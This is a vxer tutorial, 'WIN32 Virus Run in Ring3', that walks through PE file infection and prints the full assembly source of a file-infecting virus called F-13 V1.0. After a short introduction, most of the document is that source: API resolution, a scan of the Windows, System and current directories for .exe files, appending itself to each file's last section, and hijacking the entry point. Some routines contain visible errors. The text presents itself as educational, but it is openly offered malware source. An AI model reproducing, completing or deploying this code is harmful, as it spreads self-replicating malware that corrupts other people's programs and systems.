WIN32 Virus Run in Ring3

Disclaimer:

The author of this document is not responsible of any kind of damage that could be made with the bad use of this information. The objective of this paper is for educational and research purposes only. It is made for use in viruses, but not as to promote any intentional harm or damage on computer systems.

Author: lclee_vx

<Email: [email protected]>


1.0       Foreword / Introduction

 

I wrote this article just a bit later than when I started infecting PE, as all concepts were clear in mind. The infection method described consists on adding the virus to the PE file’s last section. Here I just wrote one simple windows virus so you will see here just few lines of code. (Interesting ones I think but maybe not optimized). Here we go, please notice that it is illegal to spread viruses, and all this information is completely theoretical, and for testing purposes in a controlled environment.

  

Note:

Here are 6 functional logic of a virus

 

1. Search for ImageBase address of Kernel32.dll

2. Search for a file to infect

3. Open the file to see if it is infected

4. If infected, search for another file

5. Else, infect the file

6. Return control to the host program.

 

This article is never perfect, so notify me the possible mistakes in this document for further updates. Contact me:

 

Email            :   [email protected]

Group      : F-13 Labs

 

 

2.0       Useful Things for Coding

 

 

You need some things before start code the vx. As below:

 

1.          The tasm 5.0 package – ASM compiler, I like tasm :) !!

2.          The API list (win32 API help file)

3.          PE file format – strongly recommended Matt Pietrek document

4.          ASM instruction helps file – Google and download the following file, helppc.zip.

5.          Basic knowledge on Win32ASM

6.          Windows platform

7.          Editor – I prefer EditPlus

8.          Vmware – testing environment

 

 

3.0       Basic

3.1       Ring3

The i386 architecture has four privilege levels, also known as rings that control such things as memory access and access to certain sensitive CPU instructions. Ring 3 is the least privileged level. In order to maintain compatibility, only ring 0 (kernel mode) and ring 3 (user mode) are used such as Windows NT/2000. Firstly, while under Windows, the memory layout is like this:

 

 

 

00000000h – 3FFFFFFFh

Application code and data

40000000h – 7FFFFFFFh

Shared memory (system dll’s)

80000000h – BFFFFFFFh

Kernel

C0000000h – FFFFFFFFh

Device Drivers

 

Here, we will code the virus and Infect the PE files in level Ring3 (00000000h – 3FFFFFFFh). I won’t explain more about memory layout / architecture in Windows because I am sure that you cat get the info from Microsoft website [1].  I assume that you will do a virus that increases the last section of the PE file. This technique is much more easy that adding another section. Let’s see how a virus can change an executable header in the following sections.

 

 

3.2       PE Format

It is very important to have cleared the structure of the PE header for write Win32 virus. Well, here I will put the PE format layout in the Appendix and just give the short description on PE file, for know more just take a look to the documents I recommended below.

 

PE stands for Portable Executable. It is the native file format of Win32 such as binary programs (exe, dll, sys, scr) or object files (bpl, dpl, cpl, ocx, acm, ax). The meaning of Portable Executable is that the file format is universal across win32 platform such as Windows 98 and 2K/NT. To understand the PE file, please refer to  

 

1.    Site Iczelion   :

2.    Site msdn     :

3.    Site Jim Marinic    :

 

3.3       Layout Win32 ASM program

The basic layout for a Win32 ASM program looks like below:

 

;--------------------------------------------------------------------//

.386p

.model flat, stdcall

 

extrn    <external name 1>:PROC

extrn    <external name 2>:PROC

……….

 

.data

 

.code

 

start:

    <main code>

 

end start

end

;----------------------------------------------------------------------//

 

I assume that you posses at least basic knowledge of assembly language, which every cracker, coder should have.

 

Here is the simple example of Win32 ASM program. So what I do is just use a MessageBox and since we work in Win32 and we want to use full 32 bit power, the command will be “MessageBoxA”. Note that “A” Suffix for the “MessageBoxA” deal with ASCII character. We define it with the already known “extrn” command, and then push the parameters and call the MessageBoxA API function. Remember that the parameters must be pushed in reverse order. Here we go…

 

;--------------------------------------------------------------------------------------//

.386p

.model flat

 

 

extrn    MessageBoxA:PROC

extrn    ExitProcess:PROC

 

.data

szTitle      db  "Group : F-13 Labs", 0

szMessage   db  "This is Simple Win32 ASM program", 10

        db  "From lclee_vx (RosLee)", 0

 

.code

start:

    push    00000000h

    push    offset szTitle

    push    offset szMessage

    push    00000000h

    call  MessageBoxA

 

    push    00000000h

    call  ExitProcess

 

end start

;----------------------------------------------------------------------------//

 

Finally, we compile a win32 ASM program. I hope it is clear how to code the win32 ASM program. You can also use makefile, or build a bat for compile ASM program automatically.

 

    Tasm32 /m3 /ml program

    Tlink32 /Tpe /aa program, program,, import32.lib

 

 

  1. Code Win32 Virus in Ring3

     

I will put here the code of a Win32 viruses simply for avoid the boring explanation of how to code the virus in Ring3, how to call the API functions to do the API hook and infect the PE file. Please noted that the Win32 virus code below without special features such as polymorphic engine. It is just a simple direct action virus to infect PE files, able to work in all win32 platforms. It is detected by all the antivirus software. So, it is not worth to change the strings and clam it is author.

 

 

;------------------------------------------------------------------------------------//

; Virus Name : F-13 V1.0

; Platform    : Win32

; Author : lclee_vx (leelingchuan)

; Origin      : Malaysia

; Group     : F-13 Labs

; Target  : PE files

; Copyright (c) 2005 by lclee_vx

;--------------------------------------------------------------------------------//

; There are some macros. And I set the length of the virus sizes.

;----------------------------------------------------------------------------------------//

 

.386

.model flat, stdcall

option casemap : none

 

VirusSize    equ (offset Virus_End - offset Virus_Start)

 

.data

 

szTitle      db  "F-13 Labs", 0

szMessage   db  "lclee_vx", 0

 

.code

u32     db  "User32.dll", 0

Virus_Start   label    byte

 

;----------------------------------------------------------------------------------------------------//

; Firstly, we must get the delta offset to known the current ImageBase. It is because we don’t

; know where we are executing the code. The “call” instruction will push the delta into stack

; And jump to next “pop” instruction. Now, ebp = Virtual Address of current process. The

; Current ImageBase = VirtualAddress – RVA (Relative Virtual Address of current process)  

;---------------------------------------------------------------------------------------------------//

 

vxstart:

    call  delta

 

delta:

    pop ebp

    sub ebp, offset delta            ;get the imagebase from the

;current process

 

;-----------------------------------------------------------------------------------------------------//

; esp=Address from the process was called. I put in ESI (it is in Kernel32.dll, probably

; CreateProcess API) and set to beginning of PE. Jump to the routine looking for Kernel32 Base

; address.

;----------------------------------------------------------------------------------------------------//

   

    mov esi, [esp]                  ;load the return address

    and esi, 0FFFFF000h             ;Beginning of PE

 

    call  GetK32                    ;routine to get imagebase of

                             ;kernel32.dll :)

    mov dword ptr [ebp+kernel], eax          ;save the imagabase

; kernel32.dll

 

;---------------------------------------------------------------------------------------------------//

;jump to looking for the address of GetProcAddress function. The GetProcAddress function

;will help us to know the address of the API function we need to infect the PE file. Save the

;address in EDI

;-----------------------------------------------------------------------------------------------//

 

    call  GetApi                    ;search address

;GetProcAddress

    mov [ebp+offset aGetProcAddress], edi     ;save the VA GetProcAddress

 

;------------------------------------------------------------------------------------------------//

;edi=will hold the API address, esi=all the API ASCIIZ names we looking for. GetAPIs routine

;will search the API address we need

;-------------------------------------------------------------------------------------------------//

 

    mov esi, [ebp+offset ListApi]          ;start searching other API

    mov edi, [ebp+offset OffsetApi]           ;function we want..Rock :)!!

    call  GetApis

   

call   Prepare                   ;prepare the location

                             ;infect

    call  SetDirectory                ;set the directory we want

                             ;to scan files

 

;------------------------------------------------------------------------------------------------------//

;check whether is first generation (infected already?), if yes, we jump to running the pop up

;message as below we use the LoadLibrary function to load other dll file and GetProcAddress

;to get the address of API we needed. Here, we load the User32.dll and get the address of

;MessageBox function if not first generation, we reset back the old EIP and jump back to the

;original host

;--------------------------------------------------------------------------------------------------//

 

RestoreEIP:

    cmp ebp, 0                    ;first generation?

    je   Finish                    

    mov eax, [ebp+offset OldEIP]         ;restore old EIP

    add eax, OldBase                  ;align to memory

    jmp eax                   ;run back to the host

 

Finish:

    call  LoadDll

   

    lea  edx, [ebp+offset @MessageBoxA]

    call  GetAddr

   

    push    0

    push    offset szTitle

    push    offset szMessage

    push    0

    mov eax, [ebp+offset @MessageBoxA]

    call  eax

    call  LoadDll

 

    lea  edx, [ebp+offset @ExitProcess]

    call  GetAddr

 

    push    0

    mov eax, [ebp+offset @ExitProcess]

    call  eax

 

;--------------------------------------------------------------------------------------------------//

;here we use the routine of LoadLibrary to load the dll we needed, here we load User32.dll

;and GetProcAddress to get the address..

;-----------------------------------------------------------------------------------------------//

 

LoadDll  proc

    push    offset u32                 ;load the User32.dll

    mov eax, [ebp+offset @LoadLibraryA]

    call  eax

    ret

LoadDll  endp

 

GetAddr proc

    push    edx

    push    eax

    mov eax, [ebp+offset aGetProcAddress]

    call  eax

    ret

GetAddr endp

 

;--------------------------------------------------------------------------------------------//

;This part is start to infect the PE files. I use the method increase the last section. First, I

;will explain the API functions and arguments we needed.

;

;    DWORD GetFileAttributes(

;       LPCTSTR lpFileName   // address of the name of a file or directory 

;    );

;a) lpFileName=address of the name

;

;

;    BOOL SetFileAttributes(

;    LPCTSTR lpFileName,  // address of filename

;    DWORD dwFileAttributes   // address of attributes to set

;    );

; a) dwFileAttributes=80h (any file)

;

;

;    BOOL UnmapViewOfFile(

;    LPCVOID lpBaseAddress   // address where mapped view begins 

;    );

; a) lpBaseAddress=MapAddress returned by MapViewOfFile

;

;

;    BOOL CloseHandle(

;    HANDLE hObject // handle to object to close 

;    );

; a) hObject=can be handle by CreateFileMapping or CreateFile

;

;

;    DWORD SetFilePointer(

;    HANDLE hFile,    // handle of file

;    LONG lDistanceToMove,   // number of bytes to move file pointer

;    PLONG lpDistanceToMoveHigh, // address of high-order word of distance to move 

;    DWORD dwMoveMethod   // how to move

;    );

; a)hFile=File handle

; b)lDistanceToMove=length of file

; c)lpDistanceToMoveHigh=0

; d)dwMoveMethod=0 (from the beginning of file)

;

;

;    BOOL SetEndOfFile(

;    HANDLE hFile     // handle of file whose EOF is to be set

;    );

; a)hFile=file handle

;

;

 

;we need to set the flags of section to allow us increase it, as below

 

;        or dword ptr [esi+24h],00000020h    ; Set [CWE] flags: code,

 

;        or dword ptr [esi+24h],20000000h    ; executable,

;        or dword ptr [esi+24h],80000000h    ; writable

;to make it easy, I just put the code as

;        or dword ptr [esi+24h], 0A0000020h

;

;

;The formula we use to point to last section header as below:

; Address of the last section´s header =(Directory Table)+(No. of Directories)*(Directory Size) ;                          +(No. of Sections - 1)*(Section header size)

;And remember that

;        The Directory size is 8

;        The Section Header size is 28h.

;

;

;Let start a quick review of what we did to increase the last section.

 

;        1)locate PE header first

 

;        2) locate Directory Table at 78h

;        3) locate last section´s header address (refer to the formula above)

;        4) increase the size of raw data

;        5) increase the virtual size

;        6) Get the “address copy to” and “address copy from” and start append the virus to

;            the end

;        7) locate the new IP

;        8) mark the infected PE

;        9) increase the size of image

;Lastly, what you have to do is close the file and return to the host

;

;Note: Detail of the process please refer to the comment.

;--------------------------------------------------------------------------------------------//

InfectPE:

    pushad                       ;save all register

    lea  esi, [ebp+WFD_szFileName]

    push    esi

    mov eax, [ebp+offset @GetFileAttributesA]      ;get the current FileAttributes

    call  eax

    mov dword ptr [ebp+OldAttributes], eax        ;save the current FileAttributes

 

    push    80h                   ;here we set to open "Any"

;files                  

    push    esi

    mov eax, [ebp+offset @SetFileAttributesA]     

    call  eax

 

    call  OpenFile                  ;loop to open the file

 

    inc  eax                   ;error ??

    cmp eax, 0                   

    jz   CantOpen                  ;jump out when error, :(!!

    dec  eax

    mov dword ptr [ebp+FileHandle], eax       ;save FileHandle

 

    mov ecx, dword ptr [ebp+WFD_nFileSizeLow]

    call  GetMapHandle                 ;jmp to get mapping handle

 

    cmp eax, 0                    ;error ?

    jz   FailGetMap                 ;we failed

 

    mov dword ptr [ebp+MapHandle], eax      ;save the mapping Handle

   

    mov ecx, dword ptr [ebp+WFD_nFileSizeLow]    ;prepare the parameter

    call  MapFile                   ;start mapping the file

 

    cmp eax, 0                    ;error MapViewOfFile ??

    jz   CloseMap                  ;jump to Close Mapping the file

   

    mov dword ptr [ebp+MapAddress], eax     ;save the Mapping Address

 

    mov esi, [eax+3ch]                  ;save PE header address into

;esi

 

    add esi, eax                    ;esi = point to PE header

    cmp dword ptr [esi], "EP"             ;PE file ??

    jnz  UnMapFile                 ;close the file

 

    cmp dword ptr [esi+4ch], "13F-"           ;infected already??

    jz   UnMapFile

 

    lea  eax, [esi+28h]                 ;eax=Old EIP

    mov dword ptr [ebp+OldEIP], eax          ;save the Old EIP

   

    mov ecx, dword ptr [esi+3ch]          ;ecx = FileAlignment

 

    push    dword ptr [ebp+MapAddress]         ;UnMap this file after get

;FileAlignment

 

    mov eax, [ebp+Offset @UnMapViewOfFile]

    call  eax

 

    push    dword ptr [ebp+MapHandle]

    mov eax, [ebp+offset @CloseHandle]       ;close the MapHandle

    call  eax

 

    mov eax, dword ptr [ebp+WFD_nFileSizeLow]

    add eax, VirusSize                 

    call  AlignFile               ;find No.of byte to pad

 

   

    add eax, ecx               ;eax = (Original File Size

;+VirusSize+No. byte to pad)

 

    xchg    eax, ecx               ;ecx = eax

    mov eax, dword ptr [ebp+FileHandle]         

    call  GetMapHandle                 ;jump to CreateFileMapping

   

    cmp eax, 0                    ;error?

    jz   FailGetMap     

 

    call  MapFile

 

    cmp eax, 0                    ;error??

    jz   CloseMap

 

    mov esi, eax                    ;esi = PE pointer

    mov edi, eax                    ;edi = PE pointer

    mov ebx, dword ptr [esi+74h]         ;ebx = NumberOfRvaAndSizes

    shl  ebx, 3                    ;ebx * 8

    xor  eax, eax                ;eax = 0

    mov ax, word ptr [esi+06h]               ;ax = number of sections

    dec  eax                   ;ax -1

    mov ecx, 00000028h             ;ecx = section header size

    mul  ecx                   ;eax = eax*ecx

    add esi, 00000078h                 ;esi = ExportDirectory VA

    add esi, ebx               

    add esi, ecx                    ;esi = pointer to Section

;Header

 

    or   dword ptr [esi+24h], 0A0000020h     ;set the flags in section

 

    mov eax, dword ptr [edi+28h]         ;eax = AddressOfEntryPoint

    mov dword ptr [ebp+OldEIP], eax          ;save the OldEIP

    mov eax, dword ptr [edi+34h]         ;eax = ImageBase

    mov dword ptr [ebp+OldBase], eax        ;save the Original ImageBase

 

    mov ebx, dword ptr [esi+10h]         ;ebx = SizeOfRawData

    mov edx, dword ptr [esi+14h]         ;edx = PointerToRawData

    add edx, ebx               ;edx = Raw Pointer

 

    mov eax, dword ptr [esi+0ch]         ;eax = VirtualAddress

       add  eax, ebx               ;eax=NewEIP =

;SizeOfRawData +

;VirtualAddress

 

    mov dword ptr [ebp+NewEIP], eax         ;save the New EIP

    mov dword ptr [edi+28h], eax         ;set the New EIP in the

;AddressOfEntryPoint

 

    mov ebx, dword ptr [esi+10h]         ;ebx = New SizeOfRawData

    mov eax, ebx               ;eax =ebx

    add eax, VirusSize                  ;eax=NewSizeOfRawData +

;VirusSize

 

    mov ecx, dword ptr [edi+3ch]         ;ecx = FileAlign

    call  AlignFile               ;jump to calculate the "number

;of byte to pad"

 

    add eax, VirusSize                  ;eax=Number of byte to pad +

;VirusSize

 

    add eax, ebx               ;eax=eax+New SizeOfRawData

 

    mov dword ptr [esi+08h], eax         ;set the new VirtualSize

    mov dword ptr [esi+10h], eax         ;set the new SizeOfRawData

 

    add ebx, [esi+0ch]                  ;ebx = New SizeOfRawData +

;VirtualAddress

 

    mov dword ptr [edi+50h], eax         ;set the new SizeOfImage

 

    mov dword ptr [edi+4ch], "13F-"           ;put the infected mark here

 

    mov esi, dword ptr [ebp+vxstart]          ;esi = point to the virus start =

;Address copy from

 

    add edx, dword ptr [ebp+MapAddress]     ;edx = Raw Pointer +

;MapAddress=Address copy to

 

    xchg    edi, edx

    mov ecx, VirusSize                  ;set the length of virus

    rep  movsb                    ;start copy the virus to the end

;of section

   

    jmp UnMapFile                 ;close the file

 

CantOpen:                       

    push    dword ptr [ebp+OldAttributes]        ;here we failed to open the file

    lea  eax, [ebp+WFD_szFileName]          ;with CreateFile function

    push    eax                   ;set to Old FileAttributes we

;get before

 

    mov eax, [ebp+offset @SetFileAttributesA]     

    call  eax

    ret

 

FailGetMap:

    push    dword ptr [ebp+FileHandle]

    mov eax, [ebp+offset @CloseHandle]

    call  eax

 

UnMapFile:

    push    dword ptr [ebp+MapAddress]

    mov eax, [ebp+Offset @UnMapViewOfFile]

    call  eax

 

CloseMap:

    push    dword ptr [ebp+MapHandle]

    mov eax, [ebp+offset @CloseHandle]       ;close mapping

    call  eax

 

CloseFile:

    mov ecx, dword ptr [ebp+WFD_nFileSizeLow]    ;length

    xor  eax, eax               ;eax =0

    push    eax

    push    eax

    push    ecx

    push    dword ptr [ebp+FileHandle]

    mov eax, [ebp+offset @SetFilePointer]

    call  eax

 

    push    dword ptr [ebp+FileHandle]

    mov eax, [ebp+offset @SetEndOfFile]

    call  eax

 

    popad                        ;restore all register

    ret

 

;-------------------------------------------------------------------------------------------------//

;here we align the file, need to get Number of byte to pad. This procedure is very

;important thing of the PE infection: align a number to a determinated factor. Below is the

;formula Number byte to pad = file alignment - remainer (NewSize/file alignment)

;--------------------------------------------------------------------------------------------------//

 

AlignFile proc

    push    edx                   ;save to stack

    xor  edx, edx               ;edx=0, we need edx to save remainer

    div  ecx                   ;eax/ecx

    sub ecx, edx               ;ecx = Number byte to pad

    pop edx

    ret

AlignFile endp

 

 

 

 

;-------------------------------------------------------------------------------------------//

;we start mapping the file with MapViewOfFile function

;    LPVOID MapViewOfFile(

;       HANDLE hFileMappingObject,   // file-mapping object to map into address space 

;       DWORD dwDesiredAccess, // access mode

;       DWORD dwFileOffsetHigh, // high-order 32 bits of file offset

;       DWORD dwFileOffsetLow,  // low-order 32 bits of file offset

;       DWORD dwNumberOfBytesToMap   // number of bytes to map

;  );

;

;The value of arguments is as below

; a)hFileMappingObject=File Map Handle (handle return by CreateFileMapping)

; b)dwDesiredAccess=2 (file map write mode)

; c)dwFileOffsetHigh=0

; d)dwFileOffsetLow=0

; e)dwNumberOfBytesToMap=byte to map

;------------------------------------------------------------------------------------------//

 

MapFile     proc

    push    ecx

    push    0h

    push    0h

    push    02h

    push    eax

    mov eax, [ebp+offset @MapViewOfFile]

    call  eax

    ret

MapFile  endp

 

;--------------------------------------------------------------------------------------------//

;We start to get the mapping handle with CreateFileMapping function.

;    HANDLE CreateFileMapping(

;    HANDLE hFile,    // handle to file to map

;  LPSECURITY_ATTRIBUTES lpFileMappingAttributes,  // optional security attributes

;       DWORD flProtect, // protection for mapping object

;       DWORD dwMaximumSizeHigh,  // high-order 32 bits of object size 

;       DWORD dwMaximumSizeLow,  // low-order 32 bits of object size 

;       LPCTSTR lpName     // name of file-mapping object

;  );

;

;The value of arguments we need to set as below

; a) hFile=File Handle

; b) lpFileMappingAttributes=0 (default)

;flProtect=4 (page read/write)

;dwMaximumSizeHigh=0

;dwMaximumSizeLow=is the memory value we compute early

;lpName=0

;--------------------------------------------------------------------------------------------//

 

GetMapHandle   proc

    push    0h

    push    ecx

    push    0h

    push    04h

    push    0h

    push    eax

    mov eax, [ebp+offset @CreateFileMappingA]

    call  eax

    ret

GetMapHandle   endp

 

;--------------------------------------------------------------------------------------------//

;this part we open the file with CreateFile function. I think not need to explain more.

;

;    HANDLE CreateFile(

;    LPCTSTR lpFileName,  // pointer to name of the file

;    DWORD dwDesiredAccess, // access (read-write) mode

;    DWORD dwShareMode,   // share mode

;    LPSECURITY_ATTRIBUTES lpSecurityAttributes,   // pointer to security attributes

;    DWORD dwCreationDistribution,    // how to create

;    DWORD dwFlagsAndAttributes,    // file attributes

;    HANDLE hTemplateFile    // handle to file with attributes to copy 

;    );

;

;The argument we need to set as below

; a)lpFileName=pointer to name of the file

; b)dwDesiredAccess=80000000h+40000000h (generic read/write)

; c)dwShareMode=1 (share for read)

; d)lpSecurityAttributes=0(default)

; e)dwCreationDistribution=3 (open existing file)

; f)dwFlagsAndAttributes=0 (any file)

; g)hTemplateFile=0 (for windows)

;--------------------------------------------------------------------------------------------//

 

OpenFile    proc

    xor  eax, eax

    push    eax                    ;hTemplateFile=0 (default)

    push    eax                   ;dwFlagsAndAttributes=0 (any

;files)

 

    push    03h                   ;dwCreationDistribution=3

;( Open existing files)

 

    push    eax                   ;lpSecurityAttributes=0

;( default)

 

    push    01h                   ;dwShareMode=1 (share to

;read)

 

    push    80000000h or 40000000h        ;dwDesiredAccess (read/write)

    push    esi                    ;lpFileName

    mov eax, [ebp+offset @CreateFileA]           ;call CreateFile function

    call  eax

    ret

OpenFile    endp

 

 

 

;---------------------------------------------------------------------------------------------//

;here we set the location we want to start searching exe file. We just set searching 3

;level, everytime I set the location of directory, jump to searching the file.

;---------------------------------------------------------------------------------------------//

 

SetDirectory:

    xor  ecx, ecx                ;ecx=0

    mov byte ptr [ecx], 03h              ;set counter

    lea  edi, [ebp+offset Directories]         

 

StartSet:

    push    edi                   ;push the path

    mov eax, [ebp+offset @SetCurrentDirectoryA]   ;set to directory path

    call  eax

    call  ScanFiles                  ;start to scan file We need

    add edi, 7Fh                ;next directory

    dec  ecx                   ;ecx -1

    jnz  StartSet                  

    ret

 

;---------------------------------------------------------------------------------------------//

;start searching the *exe files in the directory we are in. Here I just set to infect 10 files.

;Before that, please understand the structure WIN32_FIND_DATA. We use FindFirstFile,

;FindNextFile to search the *exe file. If we get it, jump to InfectPE to start infect the

;the file. We end the searching with FindClose function.

;---------------------------------------------------------------------------------------------//

 

ScanFiles:

    mov dword ptr [ebp+CounterInfect], 00000000h ;set the counter=0

    lea  eax, [ebp+offset WIN32_FIND_DATA]

    push    eax

    lea  eax, [ebp+offset ExeMask]           ;search the *.exe files

    push    eax

    mov eax, [ebp+offset @FindFirstFileA]      ;start searching

    call  eax

   

    inc  eax                   ;error?

    cmp eax, 0                   

    jz   FailScan

    dec  eax

    mov dword ptr [ebp+SearchHandle], eax       ;save the search handle

 

Scan1:

    call  InfectPE

    inc  byte ptr [ebp+CounterInfect]

    cmp byte ptr [ebp+CounterInfect], 0Ah     ;over limit infected ??

    jz   FailScan

 

Scan2:

    mov edi, dword ptr [ebp+WFD_szFileName]     ;clear the filename          

    mov ecx, max_path                 ;prepare for FindNextFile

    xor  al, al                      ;function

    rep  stosb

 

    lea  eax, [ebp+offset WIN32_FIND_DATA]

    push    eax

    push    dword ptr [ebp+SearchHandle]

    mov eax, [ebp+offset @FindNextFileA]      ;call FindNextFile function

    call  eax

   

    cmp eax, 0                    ;error??

    jnz  Scan1

 

CloseScan:

    push    dword ptr [ebp+SearchHandle]

    mov eax, [ebp+offset @FindClose]         ;close find

    call  eax

 

FailScan:

    cmp byte ptr [ebp+CounterInfect], 0Ah     ;over limit ??

    jnz  Scan2

    ret

 

;-------------------------------------------------------------------------------------------------//

;start search the Kernel32.dll base address. Here we set the limit 50page (refer LimitK32)

;check whether is the PE?, if not, search another page. If at the end still cant get the address,

;hardcode the Windows XP Kernel32.dll base address. Please note that as I not set SEH in

;the code, might cause the error when run this …not have time :( !!

;--------------------------------------------------------------=-----------------------------//

 

GetK32  proc

 

Search1:

    cmp byte ptr [ebp+LimitK32], 00h          ;50page already?

    jz   K32Failed

    cmp dword ptr [esi], "ZM"            ;MZ Signature?

    jz   CheckPE               ;check is PE file??

 

Search2:

    sub esi, 1000h                 ;search another page

    dec  byte ptr [ebp+LimitK32]          ;LimitK32 - 1

    jmp Search1

 

CheckPE:

    mov edi, [esi+3ch]                  ;edi = address PE header

                             ;edi will be used in GetApi

                             ;routine

 

    add edi, esi                    ;edi = point to PE header

 

    cmp dword ptr [edi], "EP"            ;PE file??

 

    jz   SuccessK32                ;if equal, we success

    jmp Search2

 

K32Failed:  

    mov esi, KernelXP               ;hardcode the Windows XP

                             ;kernel32.dll base address

 

SuccessK32:

    xchg    eax, esi

    ret

GetK32  endp

 

;--------------------------------------------------------------------------------------------//

;this part scan the Export Directory to get the GetProcAddress function we need. Before

;we start, please read the tutorial PE by Iczelion (refer to site I recommended).  Ok, let

;start. First refer GetK32 routine, edi=point to PE header. Set the ESI=point to

;ExportDirectory VA, now ESI in point to Export Directory section (refer to PE structure in

;Appendix). We save the the value of Base, NumberOfNames, AddressOfFunction,

;AddressOfNames, AddressOfNameOrdinals. We compare the AddressOfNames with the

;API function needed (here is GetProcAddress). If match, now ECX=the index into the

;AddressOfOrdinals. Use the formula to retrieve the address of function.

;(1) Ordinal=CX*2+[Address of ordinals]

;(2) Address of Function (RVA)=Ordinal*4+[Address of Functions]

;--------------------------------------------------------------------------------------------//

 

GetApi   proc

            

    mov esi, [edi+78h]                  ;point to ExportDirectory VA

    add esi, [ebp+kernel]            ;normalize

    mov [ebp+offset Export], esi          ;save the ExportDirectory VA

    add esi, 10h                ;point to Base (ExportDirectory)

    lodsd                         ;load the Base Address into

;EAX register

    mov [ebp+offset Base], eax              ;save Base (ExportDirectory)

 

    lodsd

    lodsd                         ;load the NumberOfNames

                             ;address into EAX register

    mov [ebp+offset NumNames], eax         ;save NumberOfNames

    lodsd                         ;load the AddressOfFunction

                             ;in EAX

 

    add eax, [ebp+kernel]               ;normalize RVA

;AddressOfFunctions

 

    mov [ebp+offset AddFunc], eax           ;save AddressOfFunctions

    lodsd

    add eax, [ebp+kernel]               ;normalize RVA

;AddressOfNames

    lodsd

    mov [ebp+offset AddNames], eax          ;save AddressOfNames

 

    add eax, [ebp+kernel]               ;normalize RVA

;AddressOfNameOrdinals

 

    mov [ebp+offset AddOrdinal], eax         ;save AddressOfNameOrdinal

    mov esi, [ebp+offset AddFunc]         ;load the address of function

    lodsd                         ;into esi

    add eax, [ebp+kernel]               ;normalize RVA function

 

    mov esi, [ebp+offset AddNames]          ;load esi=AddressOfNames

    mov [ebp+offset NamesIndex], esi         ;save the index of

;AddressOfNames

    mov edi, [esi]

    add esi, [ebp+kernel]            ;normalize the RVA

;AddressOfNames

 

 

    xor  ecx, ecx                ;set the counter=0, make sure

;not > NumNames ?

    mov ebx, [ebp+offset FirstApi]         ;start search GetProcAddress

   

    mov esi, [ebp+offset AddNames]

    mov [ebp+offset Index], esi              ;set the index

    add esi, [ebp+kernel]            ;normalize RVA AddNames

 

Loop:

    mov edi, ebx

 

Scan:

    cmpsb                        ;compare string ESI, EDI

    jne  NextOne

    cmp byte ptr [esi], 0             ;match??

    je   WeGet

    jmp Scan

 

NextOne:

    inc  ecx                   increase counter

    cmp cx, word ptr [ebp+offset NumNames]       ;check whether > NumNames?

    jg   Failed

    add dword ptr [ebp+offset Index], 4       ;next search

    mov esi, [ebp+offset Index]

    add esi, [ebp+kernel]

    jmp Loop

 

WeGet:

    shl  ecx, 1                     ;this part using the formula to

;retrieve the address. Refer to

;explanation above

 

    mov esi, [ebp+AddOrdinal]           

    add esi, ecx                                      lea  eax, word ptr [esi]

    shl  eax, 2

    add esi, [ebp+offset AddFunc]

    mov edi, dword ptr [esi]

    add edi, [ebp+kernel]

    ret

   

Failed:

    ret

GetApi   endp

 

;---------------------------------------------------------------------------------------------------//

;start scan all API function we use to infect PE files. Here, we use the GetProcAddress to

;retrieve all the API address we needed. So, when we want to use the API function, we can

;use the method as below. For example we want to use FindFirstFile function

;         push <argument FindFirstFile function>

;         mov  eax, [ebp+offset FindFirstFile]

;         call   eax

;---------------------------------------------------------------------------------------------------//

 

GetApis  proc

 

G1:  push    esi                    ;Use the formula

    mov eax, [ebp+kernel]               ;(1) push <Api Function>

    push    eax                   ;(2) push ImageBase

;Kernel32.dll

 

    mov eax, [ebp+offset aGetProcAddress]     ;(3) call GetProcAddress

    call  eax                   ;return address is the RVA Api

;Function

    cmp eax, 0

    je   G2

    stosd                        ;store RVA address to edi

 

G2:

    inc  esi                    ;point to next Api function

    cmp byte ptr [esi], 0AAh              ;end??

    je   Out                   ;if yes, we are failed

    jmp G1                    ;loop again

 

Out:

    ret

 

GetApis  endp

 

;----------------------------------------------------------------------------------------------

;prepare the location to start infect. Before that, we need to remember the buffer size of

;directory is 7Fh. Here we use three function to set the location, GetWindowsDirectory,

;GetSystemDirectory, GetCurrentDirectory. Please read the Win32 APi…..

;----------------------------------------------------------------------------------------------

 

Prepare  proc

    lea  edi, [ebp+WinDir]              

    push    7Fh                   ;push the buffer size

    push    edi

    mov eax, [ebp+offset @GetWindowsDirectoryA]  ;call GetWindowsDirectory

;Function

    call  eax

 

    add edi, 7Fh

    push    7Fh    

    push    edi

    mov eax, [ebp+offset @GetSystemDirectoryA]    ;call GetSystemDirectory

;Function

    call  eax

 

    add edi, 7Fh

    push    edi

    push    7Fh

    mov eax, [ebp+offset @GetCurrentDirectoryA]   ;call GetCurrentDirectory

;Function

    push    eax

    ret

 

Prepare  endp

   

;--------------------------------------------------------------------------------------------

;variable

;---------------------------------------------------------------------------------------------

ExeMask           db  "*.exe", 0

max_path          equ 260

CounterInfect           dd  00000000h

SearchHandle           dd  00000000h

FileHandle          dd  00000000h

OldAttributes           dd  00000000h

MapHandle          dd  00000000h

MapAddress         dd  00000000h

OldEIP             dd  00000000h

NewEIP            dd  00000000h

OldBase        dd  00000000h

kernel             dd  077E60000h

Export             dd  00000000h

Base              dd  00000000h

NumNames         dd  00000000h

AddFunc        dd  00000000h

AddNames          dd  00000000h

AddOrdinal          dd  00000000h

NamesIndex        dd  00000000h

Index              dd  00000000h

 

KernelXP           equ 077E60000h

 

LimitK32        dw  Limit

Limit               equ (50000h/1000h)

 

Directories          label    byte

WinDir             db  7Fh dup (00)

SysDir             db  7Fh dup (00)

OrgDir             db  7Fh dup (00)

 

ListApi             label    byte

@FindFirstFileA          db  "FindFirstFileA", 0

@FindNextFileA          db  "FindNextFileA", 0

@FindClose         db  "FindClose", 0

@GetFileAttributesA      db  "GetFileAttributesA", 0

@SetFileAttributesA      db  "SetFileAttributesA", 0

@CreateFileA           db  "CreateFileA", 0

@CreateFileMappingA     db  "CreateFileMappingA", 0

@CloseHandle          db  "CloseHandle", 0

@MapViewOfFile     db  "MapViewOfFile", 0

@SetFilePointer         db  "SetFilePointer", 0

@GetWindowsDirectoryA  db  "GetWindowsDirectoryA", 0

@GetSystemDirectoryA       db  "GetSystemDirectoryA", 0

@GetCurrentDirectoryA       db  "GetCurrentDirectoryA", 0

@SetCurrentDirectoryA       db  "SetCurrentDirectoryA", 0

@UnMapViewOfFile       db  "UnMapViewOfFile", 0

@SetEndOfFile          db  "SetEndOfFile", 0

@GetModuleHandleA     db  "GetModuleHandleA", 0

@LoadLibraryA          db  "LoadLibraryA", 0

@MessageBoxA         db  "MessageBoxA", 0

@ExitProcess           db  "ExitProcess", 0

               db  0AAh

 

FirstApi             db  "GetProcAddress", 0

 

OffsetApi           label    byte

_FindFirstFileA           dd  00000000h

